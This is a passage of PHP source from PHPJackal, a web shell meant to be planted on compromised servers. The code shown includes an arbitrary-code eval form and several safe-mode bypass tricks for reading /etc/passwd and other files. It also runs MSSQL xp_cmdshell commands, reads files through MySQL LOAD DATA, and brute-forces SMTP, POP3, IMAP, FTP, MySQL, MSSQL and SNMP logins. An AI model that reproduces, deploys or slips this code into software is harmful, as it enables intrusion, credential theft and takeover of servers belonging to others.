  1516. return $res;
  1517. }
  1518. break;
  1519. }
  1520. return 0;
  1521. }
  1522. function phpevaL(){
  1523. global $hcwd;
  1524. echo '<img src="http://h.ackerz.com/PHPJackal/images/evaler.png" style="border: none; margin: 0;" /><br /><br /><form class="form" method="POST">';
  1525. if(!empty($_REQUEST['code'])){
  1526. echo '<div class="fieldwrapper"><label class="styled">Output:</label><div class="thefield"><pre>';
  1527. $s=array('<?php'=>'','<?='=>'','<?'=>'','?>'=>''); echo htmlspecialchars(eval(replace_stR($s,$_REQUEST['code']))).'</pre>
  1528. </div></div>';}echo '<div class="fieldwrapper"><label class="styled">Code:</label><div class="thefield">
  1529. <textarea name="code">';if(!empty($_REQUEST['code']))echo htmlspecialchars($_REQUEST['code']);else echo 'for($J=0;$J<10;$J++){for($I=0;$I<10;$I++)echo "FREEDOM! ";echo "\r\n";}';echo '</textarea>
  1530. </div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" value="Execute" style="margin-left: 150px;" /></div></form>';
  1531. }
  1532. function toolS(){
  1533. global $hcwd,$cwd;
  1534. echo '<img src="http://h.ackerz.com/PHPJackal/images/tools.png" style="border: none; margin: 0;" /><br /><br />';
  1535. if(!empty($_REQUEST['serveR']) && !empty($_REQUEST['domaiN'])){
  1536. $ser=fsockopen($_REQUEST['serveR'],43,$en,$es,5);
  1537. fputs($ser,$_REQUEST['domaiN']."\r\n");
  1538. echo '<pre>';
  1539. while(!feof($ser))echo fgets($ser,1024);
  1540. echo '</pre>';
  1541. fclose($ser);
  1542. }
  1543. elseif(!empty($_REQUEST['serveR']) && !empty($_REQUEST['dB']) && !empty($_REQUEST['useR']) && !empty($_REQUEST['pasS']) && !empty($_REQUEST['ouT'])){
  1544. $Link=mysql_connect($_REQUEST['serveR'],$_REQUEST['useR'],$_REQUEST['pasS']);
  1545. $DB=$_REQUEST['dB'];
  1546. $Dump="/*
  1547. Dump generated by PHPJackal
  1548. Website: http://h.ackerz.com
  1549. */
  1550.  
  1551.  
  1552. DROP DATABASE IF EXISTS `$DB`;
  1553. CREATE DATABASE `$DB`;
  1554.  
  1555. ";
  1556. mysql_select_db($DB,$Link);
  1557. $result=mysql_query("SHOW TABLES",$Link);
  1558. $table=array();
  1559. while($data=mysql_fetch_row($result)) $table[]=$data[0];
  1560. foreach($table as $t){
  1561. $Dump.= "DROP TABLE IF EXISTS `$t`;
  1562. ";
  1563. $result=mysql_query("SHOW CREATE TABLE `$t`",$Link);
  1564. while($data=mysql_fetch_row($result)){
  1565. $Dump.= $data[1].";\n\n";
  1566. }
  1567. $sql="select * from `$t`;";
  1568. $result=mysql_query($sql);
  1569. $num_rows= mysql_num_rows($result);
  1570. $num_fields= mysql_num_fields($result);
  1571. if( $num_rows> 0) {
  1572. $field_type=array();
  1573. $i=0;
  1574. while( $i <$num_fields)
  1575. {
  1576. $meta= mysql_fetch_field($result, $i);
  1577. array_push($field_type, $meta->type);
  1578. $i++;
  1579. }
  1580. $Dump.= "INSERT INTO `$t` VALUES";
  1581. $index=0;
  1582. while( $row= mysql_fetch_row($result))
  1583. {
  1584. $Dump.= "(";
  1585. for( $i=0; $i <$num_fields; $i++)
  1586. {
  1587. if( is_null( $row[$i]))
  1588. $Dump.= "null";
  1589. else
  1590. {
  1591. switch( $field_type[$i])
  1592. {
  1593. case 'int':
  1594. $Dump.= $row[$i];
  1595. break;
  1596. case 'string':
  1597. case 'blob' :
  1598. default:
  1599. $Dump.= "'".mysql_real_escape_string($row[$i])."'";
  1600. }
  1601. }
  1602. if( $i <$num_fields-1)
  1603. $Dump.= ",";
  1604. }
  1605. $Dump.= ")";
  1606. if( $index <$num_rows-1)
  1607. $Dump.= ",";
  1608. else
  1609. $Dump.= ";";
  1610. $Dump.= "\n";
  1611. $index++;
  1612. }
  1613. }
  1614. }
  1615. file_put_contents($_REQUEST['ouT'],$Dump);
  1616. echo "<b>Done! </b>[<a href=\"".hlinK("workingdiR=".dirname($_REQUEST['ouT'])."&downloaD=".basename($_REQUEST['ouT']))."\">Download</a>]<br />";
  1617. }
  1618. elseif(!empty($_REQUEST['urL'])){
  1619. $h='';
  1620. $u=parse_url($_REQUEST['urL']);
  1621. $host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';$port=(empty($u['port']))?80:$u['port'];
  1622. $ser=fsockopen($host,$port,$en,$es,5);
  1623. if($ser){
  1624. fputs($ser,"GET $file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n");
  1625. echo '<pre>';
  1626. while($h!="\r\n"){$h=fgets($ser,1024);echo $h;}
  1627. echo '</pre>';
  1628. fclose($ser);
  1629. }
  1630. }
  1631. elseif(!empty($_REQUEST['ouT']) && isset($_REQUEST['pW'])&& !empty($_REQUEST['uN'])){
  1632. $htpasswd=$_REQUEST['ouT'].DIRECTORY_SEPARATOR.'.htpasswd';
  1633. $htaccess=$_REQUEST['ouT'].DIRECTORY_SEPARATOR.'.htaccess';
  1634. file_put_contents($htpasswd,$_REQUEST['uN'].':'.crypt(trim($_REQUEST['pW']),CRYPT_STD_DES));
  1635. file_put_contents($htaccess,"AuthName \"Secure\"\r\nAuthType Basic\r\nAuthUserFile $htpasswd\r\nRequire valid-user\r\n");
  1636. echo 'Done';
  1637. }
  1638. echo '
  1639. <form method="POST" class="feedbackform"><div class="fieldwrapper">
  1640. <label class="styled" style="width:320px">MySQL Dump</label>
  1641. </div>
  1642. <div class="fieldwrapper">
  1643. <label class="styled">Server:</label>
  1644. <div class="thefield">
  1645. <input type="text" name=serveR value="';if (!empty($_REQUEST['serveR'])) echo htmlspecialchars($_REQUEST['serveR']);
  1646. else echo 'localhost';echo '" size="30" />
  1647. </div>
  1648. </div>
  1649. <div class="fieldwrapper">
  1650. <label class="styled">Database:</label>
  1651. <div class="thefield">
  1652. <input type="text" name=dB value="';if (!empty($_REQUEST['dB'])) echo htmlspecialchars($_REQUEST['dB']);
  1653. else echo 'users';echo '" size="30" />
  1654. </div>
  1655. </div>
  1656. <div class="fieldwrapper">
  1657. <label class="styled">Username:</label>
  1658. <div class="thefield">
  1659. <input type="text" name=useR value="';if (!empty($_REQUEST['useR'])) echo htmlspecialchars($_REQUEST['useR']);
  1660. else echo 'root';echo '" size="30" />
  1661. </div>
  1662. </div>
  1663. <div class="fieldwrapper">
  1664. <label class="styled">Password:</label>
  1665. <div class="thefield">
  1666. <input type="text" name=pasS value="';if (!empty($_REQUEST['pasS'])) echo htmlspecialchars($_REQUEST['pasS']);
  1667. else echo '123456';echo '" size="30" />
  1668. </div>
  1669. </div>
  1670. <div class="fieldwrapper">
  1671. <label class="styled">Output:</label>
  1672. <div class="thefield">
  1673. <input type="text" name=ouT value="';if (!empty($_REQUEST['ouT'])) echo htmlspecialchars($_REQUEST['ouT']);
  1674. else echo whereistmP().'/dump.sql';echo '" size="30" />
  1675. </div>
  1676. </div>
  1677. '.$hcwd.'<div class="buttonsdiv">
  1678. <input type="submit" value="Dump" style="margin-left: 150px;" />
  1679. </div></form><br />
  1680. <form method="POST" class="feedbackform"><div class="fieldwrapper">
  1681. <label class="styled" style="width:320px">Whois</label>
  1682. </div>
  1683. <div class="fieldwrapper">
  1684. <label class="styled">Server:</label>
  1685. <div class="thefield">
  1686. <input type="text" name=serveR value="';if (!empty($_REQUEST['serveR'])) echo htmlspecialchars($_REQUEST['serveR']);
  1687. else echo 'whois.geektools.com';echo '" size="30" />
  1688. </div>
  1689. </div>
  1690. <div class="fieldwrapper">
  1691. <label class="styled">Domain:</label>
  1692. <div class="thefield">
  1693. <input type="text" name=domaiN value="';if (!empty($_REQUEST['domaiN'])) echo htmlspecialchars($_REQUEST['domaiN']);
  1694. else echo 'google.com';echo '" size="30" />
  1695. </div>
  1696. </div>'.$hcwd.'<div class="buttonsdiv">
  1697. <input type="submit" value="Whois" style="margin-left: 150px;" />
  1698. </div></form>
  1699. <br />
  1700. <form method="POST" class="feedbackform"><div class="fieldwrapper">
  1701. <label class="styled" style="width:320px">.ht* generator</label>
  1702. </div>
  1703. <div class="fieldwrapper">
  1704. <label class="styled">Username:</label>
  1705. <div class="thefield">
  1706. <input type="text" name=uN value="';if (!empty($_REQUEST['uN'])) echo htmlspecialchars($_REQUEST['uN']);
  1707. else echo 'r00t';echo '" size="30" />
  1708. </div>
  1709. </div>
  1710. <div class="fieldwrapper">
  1711. <label class="styled">Password:</label>
  1712. <div class="thefield">
  1713. <input type="text" name=pW value="';if (!empty($_REQUEST['pW']))echo htmlspecialchars($_REQUEST['pW']);
  1714. else echo uniqid('@');echo '" size="30" />
  1715. </div>
  1716. </div>
  1717. <div class="fieldwrapper">
  1718. <label class="styled">Directory:</label>
  1719. <div class="thefield">
  1720. <input type="text" name=ouT value="';if (!empty($_REQUEST['ouT'])) echo htmlspecialchars($_REQUEST['ouT']);
  1721. else echo $cwd;echo '" size="30" />
  1722. </div>
  1723. </div>'.$hcwd.'<div class="buttonsdiv">
  1724. <input type="submit" value="Generate" style="margin-left: 150px;" />
  1725. </div></form>
  1726. <br />
  1727. <form method="POST" class="feedbackform"><div class="fieldwrapper">
  1728. <label class="styled" style="width:320px">Header grabber</label>
  1729. </div>
  1730. <div class="fieldwrapper">
  1731. <label class="styled">URL:</label>
  1732. <div class="thefield">
  1733. <input type="text" name=urL value="';if (!empty($_REQUEST['urL'])) echo htmlspecialchars($_REQUEST['urL']);
  1734. else echo 'http://h.ackerz.com/index.php';echo '" size="30" />
  1735. </div>
  1736. </div>'
  1737. .$hcwd.'<div class="buttonsdiv">
  1738. <input type="submit" value="Get" style="margin-left: 150px;" />
  1739. </div></form>';}
  1740. function hexvieW(){
  1741. if(!empty($_REQUEST['filE'])){
  1742. $f=$_REQUEST['filE'];
  1743. echo "<table border=0 style='border-collapse: collapse' width='100%'><th width='10%' bgcolor='#282828'>Offset</th><th width='25%' bgcolor='#282828'>Hex</th><th width='25%' bgcolor='#282828'></th><th width='40%' bgcolor='#282828'>ASCII</th></tr>";
  1744. $file=fopen($f,'r');
  1745. $i=-1;
  1746. while(!feof($file)){
  1747. $ln='';
  1748. $i++;
  1749. echo "<tr><td width='10%' bgcolor='#";
  1750. if($i % 2==0)echo '666666';else echo '808080';
  1751. echo "'>";echo str_repeat('0',(8-strlen(dechex($i*16)))).dechex($i*16);echo '</td>';
  1752. echo "<td width='25%' bgcolor='#";
  1753. if($i % 2==0)echo '666666';else echo '808080';
  1754. echo "'>";
  1755. for($j=0;$j<=7;$j++){
  1756. if(!feof($file)){
  1757. $tmp=strtoupper(dechex(ord(fgetc($file))));
  1758. if(strlen($tmp)==1)$tmp='0'.$tmp;
  1759. echo $tmp.' ';
  1760. $ln.=$tmp;
  1761. }
  1762. }
  1763. echo "</td><td width='25%' bgcolor='#";
  1764. if($i % 2==0)echo '666666';else echo '808080';
  1765. echo "'>";
  1766. for($j=7;$j<=14;$j++){
  1767. if(!feof($file)){
  1768. $tmp=strtoupper(dechex(ord(fgetc($file))));
  1769. if(strlen($tmp)==1)$tmp='0'.$tmp;
  1770. echo $tmp.' ';
  1771. $ln.=$tmp;
  1772. }
  1773. }
  1774. echo "</td><td width='40%' bgcolor='#";
  1775. if($i % 2==0)echo '666666';else echo '808080';
  1776. echo "'>";
  1777. $n=0;$asc='';$co=0;
  1778. for($k=0;$k<=16;$k++){
  1779. $co=hexdec(substr($ln,$n,2));
  1780. if(($co<=31)||(($co>=127)&&($co<=160)))$co=46;
  1781. $asc.=chr($co);
  1782. $n+=2;
  1783. }
  1784. echo htmlspecialchars($asc);
  1785. echo '</td></tr>';
  1786. }
  1787. }
  1788. fclose($file);
  1789. echo '</table>';
  1790. }
  1791. function safemodE(){
  1792. global $windows,$hcwd;
  1793. $file=(empty($_REQUEST['file']))?'/etc/passwd':$_REQUEST['file'];
  1794. $pr="\r\n</font><font color=green>Method ";
  1795. $po=")</font><font color=blue>\r\n";
  1796. $i=1;
  1797. echo '<img src="http://h.ackerz.com/PHPJackal/images/safemode.png" style="border: none; margin: 0;" /><br /><br />';
  1798. if(!empty($_REQUEST['read'])){
  1799. echo "<pre>$pr$i:(ini_restore$po";
  1800. ini_restore('safe_mode');ini_restore('open_basedir');
  1801. readfile($file);
  1802. $i++;
  1803. echo "$pr$i:(include$po";
  1804. include($file);
  1805. $i++;
  1806. echo "$pr$i:(copy$po";
  1807. $tmp=tempnam('','cx');
  1808. copy('compress.zlib://'.$file,$tmp);
  1809. $fh=fopen($tmp,'r');
  1810. $data=fread($fh,filesize($tmp));
  1811. fclose($fh);
  1812. echo $data;
  1813. $i++;
  1814. if(function_exists('mb_send_mail')){
  1815. echo "$pr$i:(mb_send_mail$po";
  1816. if(file_exists('/tmp/mb_send_mail'))unlink('/tmp/mb_send_mail');
  1817. mb_send_mail(NULL, NULL, NULL, NULL,'-C $file -X /tmp/mb_send_mail');
  1818. readfile('/tmp/mb_send_mail');
  1819. $i++;
  1820. }
  1821. if(function_exists('curl_init')){
  1822. echo "$pr$i:(curl_init [A]$po";
  1823. $fh=curl_init('file://'.$file.'');
  1824. $tmp=curl_exec($fh);
  1825. echo $tmp;
  1826. $i++;
  1827. echo "$pr$i:(curl_init [B]$po";
  1828. $i++;
  1829. if(strstr($file,DIRECTORY_SEPARATOR))$ch=curl_init('file:///'.$file."\x00/../../../../../../../../../../../../".__FILE__);
  1830. else $ch=curl_init('file://'.$file."\x00".__FILE__);
  1831. var_dump(curl_exec($ch));
  1832. }
  1833. if(is_writable('.')){
  1834. echo "$pr$i:(php.ini$po";
  1835. file_put_contents('php.ini','safe_mode = Off');
  1836. readfile($file);
  1837. unlink('php.ini');
  1838. $i++;
  1839. }
  1840. if(extension_loaded('perl')){
  1841. echo "$pr$i:(perl$po";
  1842. echo perlshelL("type \"$file\"");
  1843. $i++;
  1844. }
  1845. if(is_object($ws=new COM('WScript.Shell'))){
  1846. echo "$pr$i:(COM$po";
  1847. echo comshelL("type \"$file\"",$ws);
  1848. $i++;
  1849. }
  1850. if(extension_loaded('ffi') && $windows){
  1851. echo "$pr$i:(FFI$po";
  1852. echo ffishelL("type \"$file\"");
  1853. $i++;
  1854. }
  1855. if(checkfunctioN('win_shell_execute')){
  1856. echo "$pr$i:(win32std$po";
  1857. echo winshelL("type \"$file\"");
  1858. $i++;
  1859. }
  1860. if(checkfunctioN('win32_create_service')){
  1861. echo "$pr$i:(win32service$po";
  1862. echo srvshelL("type \"$file\"");
  1863. $i++;
  1864. }
  1865. if(function_exists('imap_open')){
  1866. echo "$pr$i:(imap [A]$po";
  1867. $str=imap_open('/etc/passwd','','');
  1868. $list=imap_list($str,$file,'*');
  1869. for($i=0;$i<count($list);$i++)echo $list[$i]."\n";
  1870. imap_close($str);
  1871. $i++;
  1872. echo "$pr$i:(imap [B]$po";
  1873. $str=imap_open($file,'','');
  1874. $tmp=imap_body($str,1);
  1875. echo $tmp;
  1876. imap_close($str);
  1877. $i++;
  1878. }
  1879. if($file=='/etc/passwd'){
  1880. echo "$pr$i:(posix$po";
  1881. for($uid=0;$uid<99999;$uid++){
  1882. $h=posix_getpwuid($uid);
  1883. if(!empty($h))foreach($h as $v)echo "$v:";
  1884. echo "\r\n";
  1885. }
  1886. }
  1887. echo "\n</pre></font>";
  1888. }
  1889. elseif(!empty($_REQUEST['show'])){
  1890. echo "<pre>$pr$i:(glob$po";
  1891. $con=glob("$file*");
  1892. foreach ($con as $v)echo "$v\n";
  1893. $i++;
  1894. if(function_exists('imap_open')){
  1895. echo "$pr$i:(imap$po";
  1896. $str=imap_open('/etc/passwd','','');
  1897. $s=explode("|",$file);
  1898. if(count($s)>1)$list=imap_list($str,trim($s[0]),trim($s[1]));else $list=imap_list($str,trim($str[0]),'*');
  1899. for($i=0;$i<count($list);$i++)echo "$list[$i]\r\n";
  1900. imap_close($str);
  1901. $i++;
  1902. }
  1903. if(is_object($ws=new COM('WScript.Shell'))){
  1904. echo "$pr$i:(COM$po";
  1905. $exec=comshelL("dir \"$file\"",$ws);
  1906. $exec=str_replace("\t",'',$exec);
  1907. echo $exec;
  1908. $i++;
  1909. }
  1910. if(checkfunctioN('win_shell_execute')){
  1911. echo "$pr$i:(win32std$po";
  1912. echo winshelL("dir \"$file\"");
  1913. $i++;
  1914. }
  1915. if(checkfunctioN('win32_create_service')){
  1916. echo "$pr$i:(win32service$po";
  1917. echo srvshelL("dir \"$file\"");
  1918. $i++;
  1919. }
  1920. echo "\n</pre></font>";
  1921. }
  1922. elseif(!empty($_REQUEST['sql'])){
  1923. $ta=uniqid('N');
  1924. $s=array("CREATE TEMPORARY TABLE $ta (file LONGBLOB)","LOAD DATA INFILE '".addslashes($_REQUEST['file'])."' INTO TABLE $ta","SELECT * FROM $ta");
  1925. $l=mysql_connect('localhost', $_REQUEST['user'], $_REQUEST['pass']);
  1926. mysql_select_db($_REQUEST['db'],$l);
  1927. echo '<pre><font color=blue>';
  1928. foreach($s as $v){
  1929. $q = mysql_query($v,$l);
  1930. while($d=mysql_fetch_row($q))echo htmlspecialchars($d[0]);
  1931. }
  1932. echo '</pre></font>';
  1933. }
  1934. elseif(!empty($_REQUEST['serveR']) && !empty($_REQUEST['coM']) && !empty($_REQUEST['dB']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS'])){
  1935. $res='';
  1936. $tb=uniqid('NJ');
  1937. $db=mssql_connect($_REQUEST['serveR'],$_REQUEST['useR'],$_REQUEST['pasS']);
  1938. mssql_select_db($_REQUEST['dB'],$db);
  1939. mssql_query("create table $tb ( string VARCHAR (500) NULL)",$db);
  1940. mssql_query("insert into $tb EXEC master.dbo.xp_cmdshell '".$_REQUEST['coM']."'",$db);
  1941. $re=mssql_query("select * from $tb",$db);
  1942. while(($row=mssql_fetch_row($re)))
  1943. {
  1944. $res.= $row[0]."\r\n";
  1945. }
  1946. mssql_query("drop table $tb",$db);
  1947. mssql_close($db);
  1948. echo "<center><textarea rows='18' cols='64'>$res</textarea></center><br>";
  1949. }
  1950. $f=(!empty($_REQUEST['file']))?htmlspecialchars($_REQUEST['file']):'/etc/passwd';
  1951. $u=(!empty($_REQUEST['user']))?htmlspecialchars($_REQUEST['user']):'root';
  1952. $p=(!empty($_REQUEST['pass']))?htmlspecialchars($_REQUEST['pass']):'123456';
  1953. $d=(!empty($_REQUEST['db']))?htmlspecialchars($_REQUEST['db']):'test';
  1954. echo '
  1955. <form name="client" method="POST">
  1956. <div class="fieldwrapper">
  1957. <label class="styled" style="width:320px">Use PHP Bugs</label>
  1958. </div><div class="fieldwrapper">
  1959. <label class="styled">File:</label>
  1960. <div class="thefield">
  1961. <input type="text" name="file" value="'.$f.'" size="30" />
  1962. </div>
  1963. </div>'.$hcwd.'<div class="buttonsdiv">
  1964. <input type="submit" name="read" value="Read File" style="margin-left: 150px;" />
  1965. </div>
  1966. <div class="buttonsdiv">
  1967. <input type="submit" name="show" value="List directory" style="margin-left: 150px;" />
  1968. </div>
  1969. </form>
  1970. <br />
  1971. <form name="client1" method="POST">
  1972. <div class="fieldwrapper">
  1973. <label class="styled" style="width:320px">Use MySQL</label>
  1974. </div><div class="fieldwrapper">
  1975. <label class="styled">File:</label>
  1976. <div class="thefield">
  1977. <input type="text" name="file" value="'.$f.'" size="30" />
  1978. </div>
  1979. </div><div class="fieldwrapper">
  1980. <label class="styled">Username:</label>
  1981. <div class="thefield">
  1982. <input type="text" name="user" value="'.$u.'" size="30" />
  1983. </div>
  1984. </div><div class="fieldwrapper">
  1985. <label class="styled">Password:</label>
  1986. <div class="thefield">
  1987. <input type="text" name="pass" value="'.$p.'" size="30" />
  1988. </div>
  1989. </div><div class="fieldwrapper">
  1990. <label class="styled">Database:</label>
  1991. <div class="thefield">
  1992. <input type="text" name="db" value="'.$d.'" size="30" />
  1993. </div>
  1994. </div>'.$hcwd.'
  1995. <div class="buttonsdiv">
  1996. <input type="submit" name="sql" value="Read" style="margin-left: 150px;" />
  1997. </div>
  1998. </form>
  1999. <br />
  2000. <form name="client2" method="POST">
  2001. <div class="fieldwrapper">
  2002. <label class="styled" style="width:320px">MSSQL Exec</label>
  2003. </div><div class="fieldwrapper">
  2004. <label class="styled">Server:</label>
  2005. <div class="thefield">
  2006. <input type="text" name="serveR" value="';if(!empty($_REQUEST['serveR']))echo htmlspecialchars($_REQUEST['serveR']);else echo 'localhost'; echo '" size="30" />
  2007. </div>
  2008. </div><div class="fieldwrapper">
  2009. <label class="styled">Username:</label>
  2010. <div class="thefield">
  2011. <input type="text" name="useR" value="';if(!empty($_REQUEST['useR']))echo htmlspecialchars($_REQUEST['useR']); else echo 'sa'; echo '" size="30" />
  2012. </div>
  2013. </div><div class="fieldwrapper">
  2014. <label class="styled">Password:</label>
  2015. <div class="thefield">
  2016. <input type="text" name="pasS" value="';if (!empty($_REQUEST['pasS'])) echo htmlspecialchars($_REQUEST['pasS']);echo '" size="30" />
  2017. </div>
  2018. </div><div class="fieldwrapper">
  2019. <label class="styled">Command:</label>
  2020. <div class="thefield">
  2021. <input type="text" name="coM" value="';if (!empty($_REQUEST['coM'])) echo htmlspecialchars($_REQUEST['coM']);else echo 'dir c:';echo '" size="30" />
  2022. </div>
  2023. </div><div class="fieldwrapper">
  2024. <label class="styled">Database:</label>
  2025. <div class="thefield">
  2026. <input type="text" name="dB" value="';if (!empty($_REQUEST['dB'])) echo htmlspecialchars($_REQUEST['dB']);else echo 'master';echo '" size="30" />
  2027. </div>
  2028. </div>'.$hcwd.'
  2029. <div class="buttonsdiv">
  2030. <input type="submit" value="Execute" style="margin-left: 150px;" />
  2031. </div>
  2032. </form>
  2033. ';
  2034. }
  2035. function crackeR(){
  2036. global $hcwd,$cwd;
  2037. echo '<img src="http://h.ackerz.com/PHPJackal/images/cracker.png" style="border: none; margin: 0;" /><br /><br />';
  2038. $check=(!empty($_REQUEST['dictionary']) && !empty($_REQUEST['target']))?1:0;
  2039. if(!empty($_REQUEST['cracK']) && !$check){
  2040. $c=htmlspecialchars($_REQUEST['cracK']);
  2041. echo '<form name=cracker method="POST">
  2042. <div class="fieldwrapper">
  2043. <label class="styled" style="width:320px">'.$c.' cracker</label>
  2044. </div>
  2045. <div class="fieldwrapper">
  2046. <label class="styled">Target:</label>
  2047. <div class="thefield">
  2048. <input type="text" name="target" size="30" />
  2049. </div>
  2050. </div>
  2051. <div class="fieldwrapper">
  2052. <label class="styled">Userlist:</label>
  2053. <div class="thefield">
  2054. <input type="text" name="dictionary" size="30" />
  2055. </div>
  2056. </div>
  2057. <div class="fieldwrapper">
  2058. <label class="styled"><input type=checkbox name=combo value=1 onClick="document.cracker.passlst.disabled = !document.cracker.passlst.disabled;"> Combo</label>
  2059. <div class="thefield">
  2060. <input type=text name=passlst size=20 value="/tmp/passlist.txt">
  2061. </div>
  2062. </div>
  2063. <div class="fieldwrapper">
  2064. <label class="styled"><input type=checkbox name=loG value=1 onClick="document.cracker.logfilE.disabled = !document.cracker.logfilE.disabled;" checked> Log:</label>
  2065. <div class="thefield">
  2066. <input type=text name=logfilE size=25 value="'.whereistmP().DIRECTORY_SEPARATOR.'.log">
  2067. </div>
  2068. </div>
  2069. '.$hcwd.'
  2070. <div class="buttonsdiv">
  2071. <input type="submit" value="Start" style="margin-left: 150px;" />
  2072. </div>
  2073. </form>';
  2074. }
  2075. elseif(!empty($_REQUEST['cracK']) && $check){
  2076. $pro=strtolower($_REQUEST['cracK']).'checK';
  2077. $target=$_REQUEST['target'];
  2078. $type=$_REQUEST['combo'];
  2079. $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:'';
  2080. $dictionary=fopen($_REQUEST['dictionary'],'r');
  2081. if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0;
  2082. if($dictionary){
  2083. echo '<font color=blue>Cracking '.htmlspecialchars($target).'...<br>';
  2084. if(!$type)$pl=file($_REQUEST['passlst']);
  2085. while(!feof($dictionary)){
  2086. if($type){
  2087. $combo=trim(fgets($dictionary)," \n\r");
  2088. $user=substr($combo,0,strpos($combo,':'));
  2089. $pass=substr($combo,strpos($combo,':')+1);
  2090. $ret=$pro($target,$user,$pass,5);
  2091. if($ret==-1){echo "Can not connect to server.";break;}elseif($ret){$x="U: $user P: $pass";echo "$x<br />";if($log)file_add_contentS($file,"$x\r\n");}
  2092. }else{
  2093. $user=trim(fgets($dictionary)," \n\r");
  2094. foreach ($pl as $pass){
  2095. $pass=trim($pass);
  2096. $ret=$pro($target,$user,$pass,5);
  2097. if($ret==-1){echo "Can not connect to server.";break 2;}elseif($ret){$x="U: $user P: $pass";echo "$x<br />";break;if($log)file_add_contentS($file,"$x\r\n");}
  2098. }
  2099. }
  2100. }
  2101. echo '<br />Done</font>';
  2102. fclose($dictionary);
  2103. }
  2104. else{
  2105. echo "Can not open dictionary.";
  2106. }
  2107. }
  2108. else{
  2109. echo '<ul>
  2110. <li><a href="'.hlinK("seC=hc&workingdiR=$cwd").'">Hash</a></li>
  2111. <li><a href="'.hlinK("seC=cr&cracK=SMTP&workingdiR=$cwd").'">SMTP</a></li>
  2112. <li><a href="'.hlinK("seC=cr&cracK=POP3&workingdiR=$cwd").'">POP3</a></li>
  2113. <li><a href="'.hlinK("seC=cr&cracK=IMAP&workingdiR=$cwd").'">IMAP</a></li>
  2114. <li><a href="'.hlinK("seC=cr&cracK=FTP&workingdiR=$cwd").'">FTP</a></li>
  2115. <li><a href="'.hlinK("seC=snmp&workingdiR=$cwd").'">SNMP</a></li>
  2116. <li><a href="'.hlinK("seC=cr&cracK=MySQL&workingdiR=$cwd").'">MySQL</a></li>
  2117. <li><a href="'.hlinK("seC=cr&cracK=MSSQL&workingdiR=$cwd").'">MSSQL</a></li>
  2118. <li><a href="'.hlinK("seC=fcr&workingdiR=$cwd").'">HTTP Form</a></li>
  2119. <li><a href="'.hlinK("seC=auth&workingdiR=$cwd").'">HTTP Auth(basic)</a></li>
  2120. <li><a href="'.hlinK("seC=dic&workingdiR=$cwd").'">Dictionary maker</a></li>
  2121. </ul>';
  2122. }
  2123. }
  2124. function phpjackal(){
  2125. global $VERSION,$cwd;
  2126. if(!empty($_REQUEST['chkveR'])){
  2127. echo file_get_contents("http://h.ackerz.com/PHPJackal/chkver.php?v=$VERSION");
  2128. }else
  2129. echo '<img src="http://h.ackerz.com/PHPJackal/images/phpjackal.png" style="border: none; margin: 0;" /><br /><br /><ul><li><a href="'.hlinK("seC=phpjackal&workingdiR=$cwd&chkveR=1").'">Check version</a></li><li><a href="#" onclick="if(confirm(\'Are you sure?\'))window.location=\''.hlinK("seC=phpjackal&workingdiR=$cwd&slfrmv=1").'\';">Self removal</a></li></ul>';
  2130. }
  2131. function snmpcrackeR(){
  2132. global $hcwd;
  2133. if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
  2134. $target=$_REQUEST['target'];
  2135. if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0;
  2136. $dictionary=fopen($_REQUEST['dictionary'],'r');
  2137. if($dictionary){
  2138. echo '<font color=blue>Cracking '.htmlspecialchars($target).'...<br>';
  2139. while(!feof($dictionary)){
  2140. $com=trim(fgets($dictionary)," \n\r");
  2141. $res=snmpchecK($target,$com,2);
  2142. if($res){echo "$com<br>";if($log)file_add_contentS($file,"$com\r\n");}
  2143. }
  2144. echo '<br>Done</font>';
  2145. fclose($dictionary);
  2146. }
  2147. else{
  2148. echo "Can not open dictionary.";
  2149. }
  2150. }else
  2151. echo '<form name=cracker method="POST">
  2152. <div class="fieldwrapper">
  2153. <label class="styled" style="width:320px">SNMP cracker</label>
  2154. </div><div class="fieldwrapper">
  2155. <label class="styled">Dictionary:</label>
  2156. <div class="thefield">
  2157. <input type="text" name="dictionary" size="30" />
  2158. </div>
  2159. </div><div class="fieldwrapper">
  2160. <label class="styled">Target:</label>
  2161. <div class="thefield">
  2162. <input type="text" name="target" size="30" />
  2163. </div>
  2164. </div><div class="fieldwrapper">
  2165. <label class="styled"><input type=checkbox name=loG value=1 onClick="document.hashform.logfilE.disabled = !document.cracker.logfilE.disabled;" checked> Log:</label>
  2166. <div class="thefield">
  2167. <input type=text name=logfilE size=25 value="'.whereistmP().DIRECTORY_SEPARATOR.'.log">
  2168. </div>
  2169. </div>
  2170. '.$hcwd.'
  2171. <div class="buttonsdiv">
  2172. <input type="submit" value="Start" style="margin-left: 150px;" />
  2173. </div>
  2174. </form>';
  2175. }
  2176. function dicmakeR(){
  2177. global $windows,$hcwd;
  2178. $combo=(empty($_REQUEST['combo']))?0:1;
  2179. if(!empty($_REQUEST['range'])&& !empty($_REQUEST['output']) && !empty($_REQUEST['min']) && !empty($_REQUEST['max'])){
  2180. $min=$_REQUEST['min'];
  2181. $max=$_REQUEST['max'];
  2182. if($max<$min){echo"Bad input!";return;};
  2183. $s=$w='';
  2184. $out=$_REQUEST['output'];
  2185. $r=$_REQUEST['range'];
  2186. $dic=fopen($out,'w');
  2187. if($r==1){
  2188. for($s=pow(10,$min-1);$s<pow(10,$max-1);$s++){
  2189. $w=$s;
  2190. if($combo)$w="$w:$w";
  2191. fwrite($dic,$w."\n");
  2192. }
  2193. }
  2194. else{
  2195. $s=str_repeat($r,$min);
  2196. while(strlen($s)<$max){
  2197. $w=$s;
  2198. if($combo)$w="$w:$w";
  2199. fwrite($dic,$w."\n");
  2200. $s++;
  2201. }
  2202. }
  2203. fclose($dic);
  2204. echo '<font color=blue>Done</font>';
  2205. }
  2206. elseif(!empty($_REQUEST['input']) && !empty($_REQUEST['output'])){
  2207. $input=fopen($_REQUEST['input'],'r');
  2208. if(!$input){
